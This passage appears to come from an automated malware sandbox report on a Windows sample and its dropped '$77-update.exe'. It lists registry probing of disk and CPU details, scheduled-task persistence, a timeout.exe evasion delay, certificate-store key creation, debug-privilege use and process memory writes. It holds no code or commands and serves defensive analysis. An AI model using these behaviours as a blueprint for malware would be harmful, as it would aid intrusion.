File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg C:\Windows\system32\wbem\wmiprvse.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A
Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\system32\WerFault.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\WerFault.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Windows\system32\wbem\wmiprvse.exe N/A
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\WerFault.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\WerFault.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\system32\WerFault.exe N/A
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\WerFault.exe N/A
Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Windows\system32\WerFault.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\system32\WerFault.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Windows\system32\WerFault.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\system32\WerFault.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\system32\WerFault.exe N/A
N/A N/A C:\Windows\system32\WerFault.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\$77-update.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\lsnupy.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\dllhost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\Conhost.exe N/A
N/A N/A C:\Windows\System32\Conhost.exe N/A
N/A N/A C:\Windows\System32\Conhost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2328 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 2328 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 2328 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 2328 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 2328 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 2328 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 2328 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
PID 2328 wrote to memory of 3084 N/A C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe C:\Users\Admin\AppData\Local\Temp\BDD2412C4CB1952748237E6CC32BB3D39A68CB4E1ED3E.exe
